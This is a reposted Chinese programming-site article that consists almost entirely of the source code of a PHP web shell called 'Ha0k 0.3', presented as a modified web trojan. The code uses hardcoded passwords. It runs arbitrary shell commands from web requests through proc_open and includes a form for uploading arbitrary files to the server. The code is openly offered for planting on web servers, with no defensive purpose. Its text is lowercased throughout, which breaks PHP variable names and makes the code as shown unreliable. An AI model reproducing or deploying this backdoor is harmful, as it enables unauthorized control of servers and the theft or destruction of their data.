Ha0k 0.3 PHP 网页木马修改版
程序员文章站
2023-10-31 22:45:40
复制代码 代码如下: 'ha0k', 'hackerdsb'=>'h...
复制代码 代码如下:
<?php
//此处可设置多个用户
$passwd = array('ha0k' => 'ha0k',
'hackerdsb'=>'hackerdsb');
/* 此处设置命令的别名 */
$aliases = array('ls' => 'ipconfig',
'll' => 'ls -lvhf');
if (!isset($_server['php_auth_user'])||!isset($_server['php_auth_pw'])||
!isset($passwd[$_server['php_auth_user']]) ||
$passwd[$_server['php_auth_user']] != $_server['php_auth_pw']) {
header('www-authenticate: basic realm="by ha0k"');
header('http/1.0 401 unauthorized');
$authenticated = false;
}
else {
$authenticated = true;
/* 开始session */
session_start();
/* 初始化session. */
if (empty($_session['cwd']) || !empty($_request['reset'])) {
$_session['cwd'] = getcwd(); //取当前目录
$_session['history'] = array();
$_session['output'] = '';
}
if (!empty($_request['command'])) {
if (get_magic_quotes_gpc()) { //0表关闭，1表开启，开启时过滤
/* we don't want to add the commands to the history in the
* escaped form, so we remove the backslashes now. */
$_request['command'] = stripslashes($_request['command']); //将用addslashes()函数处理后的字符串返回原样
}
/* history */
if (($i = array_search($_request['command'], $_session['history'])) !== false) //查找保存数组中的值
unset($_session['history'][$i]); //销毁
array_unshift($_session['history'], $_request['command']);//array_unshift()函数的作用是在一个数组中插入新的元素。而这个新的数组将被添加到原数组的开头部分。函数最终返回的是插入新元素后的数组。
/* 输出ha0k# command */
$_session['output'] .= 'ha0k# ' . $_request['command'] . "\n";
/* initialize the current working directory. */
if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_request['command'])) {
$_session['cwd'] = dirname(__file__); //获取当前所在目录
} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_request['command'], $regs)) {
/* the current command is a 'cd' command which we have to handle
* as an internal shell command. */
if ($regs[1][0] == '/') {
/* absolute path, we use it unchanged. */
$new_dir = $regs[1];
} else {
/* relative path, we append it to the current working
* directory. */
$new_dir = $_session['cwd'] . '/' . $regs[1];
}
/* transform '/./' into '/' */
while (strpos($new_dir, '/./') !== false)
$new_dir = str_replace('/./', '/', $new_dir);
/* transform '//' into '/' */
while (strpos($new_dir, '//') !== false)
$new_dir = str_replace('//', '/', $new_dir);
/* transform 'x/..' into '' */
while (preg_match('|/\.\.(?!\.)|', $new_dir))
$new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
if ($new_dir == '') $new_dir = '/';
/* try to change directory. */
if (@chdir($new_dir)) { //改变当前目录
$_session['cwd'] = $new_dir;
} else {
$_session['output'] .= "cd: could not change to: $new_dir\n";
}
} else {
/* the command is not a 'cd' command, so we execute it after
* changing the directory and save the output. */
chdir($_session['cwd']); //改变目录
/* 别名扩展 */
$length = strcspn($_request['command'], " \t"); //查找\t字符串，返回位置
$token = substr($_request['command'], 0, $length); //取字符串0-\t
if (isset($aliases[$token]))
$_request['command'] = $aliases[$token] . substr($_request['command'], $length);
$p = proc_open($_request['command'], //执行脚本
array(1 => array('pipe', 'w'),
2 => array('pipe', 'w')),
$io);
/* 读出发送 */
while (!feof($io[1])) {
$_session['output'] .= htmlspecialchars(fgets($io[1]), //转换特殊字符为html字符编码
ent_compat, 'gb2312');
}
/* 读出 */
while (!feof($io[2])) {
$_session['output'] .= htmlspecialchars(fgets($io[2]),
ent_compat, 'gb2312');
}
fclose($io[1]);
fclose($io[2]);
proc_close($p);//关闭管道
}
}
/* 构建在javascript使用命令历史记录 */
if (empty($_session['history'])) {
$js_command_hist = '""';
} else {
$escaped = array_map('addslashes', $_session['history']);
$js_command_hist = '"", "' . implode('", "', $escaped) . '"';//将数组搞成字符串
}
}
header('content-type: text/html; charset=gb2312');
echo '<?xml version="1.0" encoding="gb2312"?>' . "\n";
?>
<?php
if(is_uploaded_file($http_post_files['userfile']['tmp_name'])) {
copy($http_post_files['userfile']['tmp_name'], $_post['remotefile']);
//echo "上传文件成功: " . $http_post_files['userfile']['name'];
}
?>
<!doctype html public "-//w3c//dtd xhtml 1.0 strict//en"
"http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>ha0k webshell</title>
<script type="text/javascript" language="javascript">
var current_line = 0;
var command_hist = new array(<?php echo $js_command_hist ?>);
var last = 0;
function key(e) {
if (!e) var e = window.event;
if (e.keycode == 38 && current_line < command_hist.length-1) {
command_hist[current_line] = document.shell.command.value;
current_line++;
document.shell.command.value = command_hist[current_line];
}
if (e.keycode == 40 && current_line > 0) {
command_hist[current_line] = document.shell.command.value;
current_line--;
document.shell.command.value = command_hist[current_line];
}
}
function init() {
document.shell.setattribute("autocomplete", "off");
document.shell.output.scrolltop = document.shell.output.scrollheight;
document.shell.command.focus();
}
</script>
<style type="text/css">
<!--
.style1 {
color: #33ff33;
font-weight: bold;
}
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
-->
</style>
<meta http-equiv="content-type" content="text/html; charset=gb2312" /></head>
<body onload="init()">
<body bgcolor="#$$$$$$">
<body text="1afa3a">
<h1><a href="http://hi.baidu.com/hackerdsb" class="style1">ha0k</a></h1>
<h6>we just for justice，fight for evial</h6></font>
<?php if (!$authenticated) { ?>
<p>you failed to authenticate yourself to phpshell. you can <a
href="<?php echo $_server['php_self'] ?>">reload</a> to try again.</p>
<p>try reading the <a href="install">install</a> file if you're having
problems with installing phpshell.</p>
</body>
</html>
<?php //
exit;
}
error_reporting (e_all);
if (empty($_request['rows'])) $_request['rows'] = 10;
?>
<p>当前目录为: <code><?php echo $_session['cwd'] ?></code></p>
<form name="shell" action="<?php echo $_server['php_self'] ?>" method="post">
<div>
<textarea name="output" readonly="readonly" cols="80" rows="<?php echo $_request['rows'] ?>">
<?php
$lines = substr_count($_session['output'], "\n");
$padding = str_repeat("\n", max(0, $_request['rows']+1 - $lines));
echo rtrim($padding . $_session['output']);
?>
<</textarea>
</div><br>
<p class="prompt">
$ <input class="prompt" name="command" type="text"
onkeyup="key(event)" size="78" tabindex="1">
</p>
<p>
<input type="submit" value="执行" />
<input type="submit" name="reset" value="恢复" />
行数: <input type="text" name="rows" value="<?php echo $_request['rows'] ?>" />
</p>
</form>
<form enctype="multipart/form-data" action="" method="post">
<input type="hidden" name="max_file_size" value="1000000">
<p>本地文件名: <input name="userfile" type="file">
<p>远程文件名: <input name="remotefile" type="text">
<input type="submit" value="发送">
</form>
</body>
</html>
mcafee(麦咖啡杀毒软件) 防止网页被挂马的设置教程(最后不要在服务器端打开) 我们强烈推荐服务器安装mcafee 8.5i的版本
全世界最小的php网页木马一枚 附php木马的防范方法
上一篇： 站长，身体比网站更重要！
下一篇： linux下cat命令详解